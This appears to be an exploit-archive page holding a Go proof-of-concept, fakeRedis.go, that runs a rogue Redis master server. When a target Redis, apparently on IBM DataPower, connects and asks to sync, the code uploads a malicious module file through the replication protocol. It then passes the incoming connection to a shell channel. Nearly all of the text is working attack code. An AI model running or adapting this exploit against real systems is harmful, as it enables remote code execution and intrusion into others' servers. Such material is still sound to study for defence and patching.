4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / fakeRedis.go GO
package main

import (
	"io"
	"io/ioutil"
	"log"
	"net"
	"os"
	"strconv"
	"strings"
)

var (
	Logger *log.Logger
	done   bool
)

func FakeRedis(host string, port int, c chan bool, module string, shell chan net.Conn) {
	Logger = log.New(os.Stdout, "FakeRedis - ", log.Ldate|log.Ltime)
	Logger.Printf("Starting Fake Redis Server on %s:%d", host, port)
	l, err := net.Listen("tcp", host+":"+strconv.Itoa(port))
	if err != nil {
		Logger.Fatal("Error listening:", err.Error())
	}
	defer l.Close()
	Logger.Printf("Online and Ready!")
	for {
		conn, err := l.Accept()
		Logger.Printf("Accepting connection...")
		if err != nil {
			Logger.Fatal("Error accepting: ", err.Error())
		}
		if done {
			shell <- conn
		} else {
			go handleRequest(conn, c, module)
		}
	}
}

func sendRawData(conn net.Conn, data string) {
	_, err := io.WriteString(conn, data)
	if err != nil {
		Logger.Fatal("Error sending data: ", err.Error())
	}
}

func sendData(conn net.Conn, data string) {
	sendRawData(conn, data)
	//Logger.Printf("Data : DatapowerRedis <- FakeRedis = %s", data)
	Logger.Printf("Data : DatapowerRedis <- FakeRedis")
	sendRawData(conn, "\r\n")
}

func handleRequest(conn net.Conn, c chan bool, module string) {
	Logger.Printf("Accepted Connection OK!")
	for {
		buf := make([]byte, 1024)
		_, err := conn.Read(buf)
		if err != nil {
			if done {
				Logger.Printf("Error reading data from network connection: %s - (This is expected)", err.Error())
				break
			} else {
				Logger.Fatal("Error data from network connection :", err.Error())
			}
		}
		//Logger.Printf("Data : DatapowerRedis -> FakeRedis = %s", string(buf))
		Logger.Printf("Data : DatapowerRedis -> FakeRedis")
		if strings.Contains(string(buf), "PING") {
			sendData(conn, "+PONG")
		}
		if strings.Contains(string(buf), "REPLCONF") || strings.Contains(string(buf), "AUTH") {
			sendData(conn, "+OK")
		}
		if strings.Contains(string(buf), "PSYNC") || strings.Contains(string(buf), "SYNC") {
			Logger.Println("Uploading module...")
			sendRawData(conn, "+FULLRESYNC ")
			sendRawData(conn, strings.Repeat("Z", 40))
			sendRawData(conn, " 1")
			sendRawData(conn, "\r\n")
			sendRawData(conn, "$")
			fi, err := os.Stat(module)
			if err != nil {
				Logger.Fatal("Error getting size of module:", err.Error())
			}
			sendRawData(conn, strconv.Itoa(int(fi.Size())))
			sendRawData(conn, "\r\n")
			moduleRawData, err := ioutil.ReadFile(module)
			if err != nil {
				Logger.Fatal("failed to read module from disk: ", err.Error())
			}
			_, err = conn.Write(moduleRawData)
			if err != nil {
				Logger.Fatal("Error sending module raw data: ", err.Error())
			}
			sendRawData(conn, "\r\n")
			Logger.Println("Upload Complete!")
			c <- true
			done = true
		}
	}
	conn.Close()
	Logger.Printf("Connection Closed")
}